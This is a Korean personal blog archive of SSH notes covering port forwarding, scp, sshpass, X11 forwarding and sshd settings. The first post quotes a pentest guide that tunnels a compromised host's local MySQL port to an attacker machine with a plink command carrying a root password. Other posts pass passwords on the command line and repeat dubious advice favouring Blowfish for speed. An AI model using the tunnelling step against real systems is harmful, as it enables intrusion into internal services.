netstat에서 다음과 같은 신기한게 있어서 검색

sshd: root@pt 


아무튼.. 원격에서 ssh를 통해서 포트포워딩 해서 쓸 수 있도록 하는거 같은데..

한개의 포트라면 이게 더 깔끔 하려나?

Remote port forwarding

Remote port forwarding is crazy, yet very simple concept. So imagine that you have compromised a machine, and that machine has like MYSQL running but it is only accessible for localhost. And you can't access it because you have a really crappy shell. So what we can do is just forward that port to our attacking machine. The steps are as following:


Here is how you create a remote port forwarding:

ssh <gateway> -R <remote port to bind>:<local host>:<local port>


By the way, plink is a ssh-client for windows that can be run from the terminal. The ip of the attacking machine is 111.111.111.111.


Step 1 So on our compromised machine we do:

plink.exe -l root -pw mysecretpassword 111.111.111.111 -R 3307:127.0.0.1:3306


Step 2 Now we can check netstat on our attacking machine, we should see something like this:

tcp        0      0 127.0.0.1:3307          0.0.0.0:*               LISTEN      19392/sshd: root@pt

That means what we can connect to that port on the attacking machine from the attacking machine.


Step 3 Connect using the following command:

mysql -u root -p -h 127.0.0.1 --port=3307 


[링크 : https://xapax.gitbooks.io/security/content/port_forwarding_and_tunneling.html]

'프로그램 사용 > ssh scp sftp' 카테고리의 다른 글

ssh blowfish  (0) 2019.09.24
ssh tunnel proxy  (0) 2019.09.20
reverse SSH  (0) 2018.05.14
rpi vpn client  (0) 2018.05.11
scp: ambiguous target 에러  (0) 2016.09.21
Posted by 구차니

먼지 모르겠다... 천천히 읽어 봐야지


[링크 : https://toic.org/blog/2009/reverse-ssh-port-forwarding/]

'프로그램 사용 > ssh scp sftp' 카테고리의 다른 글

ssh tunnel proxy  (0) 2019.09.20
ssh remote port forwarding  (0) 2019.01.28
rpi vpn client  (0) 2018.05.11
scp: ambiguous target 에러  (0) 2016.09.21
sshpass를 이용한 scp 암호 자동 입력  (0) 2016.09.19
Posted by 구차니

웹서버 구축하고

iptime의 vpn서버 에 붙여서

내부 아이피로 연결 후

공유기에서포트 포워딩하면 되는걸려나?


+

2018.05.12 


음.. 일반 패키지는 아니고 빌드해야 하나?

[링크 : https://gist.github.com/superjamie/ac55b6d2c080582a3e64]

'프로그램 사용 > ssh scp sftp' 카테고리의 다른 글

ssh remote port forwarding  (0) 2019.01.28
reverse SSH  (0) 2018.05.14
scp: ambiguous target 에러  (0) 2016.09.21
sshpass를 이용한 scp 암호 자동 입력  (0) 2016.09.19
ssh X11 forwarding 속도 향상  (0) 2015.09.24
Posted by 구차니

공백이 있어서 \를 해주었는데 안되서

괄호까지 동원하니 해결.... 머지?



$ scp file.txt user@ip_address:"/file path/"

$ scp file.txt user@ip_address:"/file\ path/"


[링크 : http://an-compsci.blogspot.com/2009/05/scp-ambiguous-target.html]

'프로그램 사용 > ssh scp sftp' 카테고리의 다른 글

reverse SSH  (0) 2018.05.14
rpi vpn client  (0) 2018.05.11
sshpass를 이용한 scp 암호 자동 입력  (0) 2016.09.19
ssh X11 forwarding 속도 향상  (0) 2015.09.24
sshd server key 경로  (0) 2015.01.06
Posted by 구차니

expect 같은건 웬지 복잡해 보여서

단순하게 커맨드 라인에서 처리가능한 녀석으로 sshpass 테스트


sshpass -p "password" scp -r user@example.com:/some/remote/path /some/local/path 


[링크 : http://stackoverflow.com/questions/50096/how-to-pass-password-to-scp]

[링크 : https://linux.die.net/man/1/sshpass]



물론 우분투에서는 sshpass 패키지를 별도로 설치해 주어야 한다.

Posted by 구차니



[링크 : http://xmodulo.com/how-to-speed-up-x11-forwarding-in-ssh.html]

 [링크 : http://blog.famzah.net/2010/06/11/openssh-ciphers-performance-benchmark/]

[링크 : http://www.cyberciti.biz/faq/speeding-up-ssh-x11-forwarding-with-unix-osx-linux-bsd/]

[링크 : http://ubuntuforums.org/showthread.php?t=1855933]


rpi2 + putty + xming 에서는

vlc 실행에 걸리는 시간이 차이가 거의 안나서.. 다른 좀 더 영상이 많다거나 하는 걸로 테스트 해봐야 할 듯..




Turn on compression to speed up your connection, and bring Blowfish to the top of the list. Blowfish is still relatively secure, but will be a heck of a lot quicker than AES at passing information as your computer doesn’t have to encrypt things so heavily.

[링크 : http://irrationale.com/2009/11/10/x11-over-ssh/]





Nagle 알고리즘은 패킷의 갯수를 줄이는 것

일단 적은 데이터(MTU 미만)에서는 응답속도와 tradeoff가 일어난다.

기본값은 off니까 빠릿빠릿하게 ssh 응답을 하는 듯?


4.12.4 "Disable Nagle's algorithm"


Nagle's algorithm is a detail of TCP/IP implementations that tries to minimise the number of small data packets sent down a network connection. With Nagle's algorithm enabled, PuTTY's bandwidth usage will be slightly more efficient; with it disabled, you may find you get a faster response to your keystrokes when connecting to some types of server.


The Nagle algorithm is disabled by default.

[링크 : http://the.earth.li/~sgtatham/putty/0.52/htmldoc/Chapter4.html]

Posted by 구차니

서버키 재 생성할 일 있으면

/etc/sshd/sshd_hosts* 파일들을 삭제하고

sshd 서버를 재시작하면 된다.


[링크 : http://www.softec.lu/site/DevelopersCorner/HowToRegenerateNewSsh]

Posted by 구차니
ubuntu 에서도 적용됨(10.04 LTS)

$ vi /etc/ssh/sshd_config
 UseDNS no

[링크 : http://server.tistory.com/144]
[링크 : http://kiin.wordpress.com/2012/02/21/how-to-decrease-ssh-connection-time-on-centos/


'프로그램 사용 > ssh scp sftp' 카테고리의 다른 글

ssh X11 forwarding 속도 향상  (0) 2015.09.24
sshd server key 경로  (0) 2015.01.06
ssh X11 forwarding 옵션  (0) 2012.01.25
ssh X11 터널링  (0) 2012.01.24
scp 사용하기  (0) 2011.04.18
Posted by 구차니
예전 글들을 보다 보니 X11 forwarding과 Trusted X11 forwarding 두가지가 존재하는걸 알게 되었는데..

$ man ssh
     -X      Enables X11 forwarding.  This can also be specified on a per-host
             basis in a configuration file.

             X11 forwarding should be enabled with caution.  Users with the
             ability to bypass file permissions on the remote host (for the
             user's X authorization database) can access the local X11 display
             through the forwarded connection.  An attacker may then be able
             to perform activities such as keystroke monitoring.

             For this reason, X11 forwarding is subjected to X11 SECURITY
             extension restrictions by default.  Please refer to the ssh -Y
             option and the ForwardX11Trusted directive in ssh_config(5) for
             more information.

     -x      Disables X11 forwarding.

     -Y      Enables trusted X11 forwarding.  Trusted X11 forwardings are not
             subjected to the X11 SECURITY extension controls. 

-X로 해서 untrusted X11 이 안되면 -Y로 하라는 단순 명료 배째기식 FAQ 발견 ㅋㅋ
일단 보안정책상 trusted X11 forwarding만 지원할 수 도 있으니 안되면 옵션을 바꾸어서 사용하라는 열린결론 -_-
3.8. ssh -X now says "Warning: untrusted X11 forwarding setup failed: xauth key data not generated"

See Q: 6.1. and following. See point 3 in this mail. Use ssh -Y.

Technical details: ssh tried to run xauth generate to create a untrusted cookie for the session, which failed because the server isn't compiled with the XCSECURITY extension built-in.

[링크 : http://x.cygwin.com/docs/faq/cygwin-x-faq.html#q-ssh-y]


6.3. I'm confused about the difference between trusted and untrusted X11 forwarding. What does "Warning: untrusted X11 forwarding setup failed: xauth key data not generated" mean? Why is the SECURITY extension disabled?

The warning means that ssh is going to use trusted X11 forwarding because untrusted X11 forwarding depends on the security extension, which isn't built into the Xserver and has been disabled by default upstream.

Trusted X11 forwarding means that you trust the server that you wish to ssh into. The X server will allow remote clients to do whatever a local client would be able to do to your X session, for example, monitor your keypresses and take a screenshot. Such programs could be run by a malicious or compromised root user on the ssh server, or under your account if it was compromised on the ssh server.

So why is this disabled? Untrusted X11 forwarding was meant to be a way to allow logins to unknown or insecure systems. It generates a cookie with xauth and uses the security extension to limit what the remote client is allowed to do. But this is widely considered to be not useful, because the security extension uses an arbitrary and limited access control policy, which results in a lot of applications not working correctly and what is really a false sense of security. See this mail for more on the subject.

(Words adapted from an email by Yaakov Selkowitz)

[링크 : http://x.cygwin.com/docs/faq/cygwin-x-faq.html#q-trusted-untrusted-x11-forwarding] 

2009/03/24 - [프로그램 사용/cygwin / Xming] - Xming - Xwindow launcher for windows using cygwin/x
2012/01/24 - [Linux/Ubuntu] - ssh X11 터널링

'프로그램 사용 > ssh scp sftp' 카테고리의 다른 글

sshd server key 경로  (0) 2015.01.06
ssh 아이디 입력후 로그인 패스워드 입력이 지연되는 문제  (0) 2014.09.03
ssh X11 터널링  (0) 2012.01.24
scp 사용하기  (0) 2011.04.18
다중 X11 터널링?  (0) 2010.11.12
Posted by 구차니
리눅스(우분투)에서
 $ ssh -p 0000 -X userid@domain 
으로 하면 로컬에서 X11 화면을 끌어 올 수 있다. 

문득 이렇게 하면 로컬인지 리모트인지 알 방법이 없잖아? 라고 고민했는데
프로그램 띄우고 나서 바로 이해됨

(domain 에서) 라고 별도로 표기된다!
생각해보니 윈도우에서는 표기가 안되던데.. 우분투나 리눅스 전용 기능인가?

 
Posted by 구차니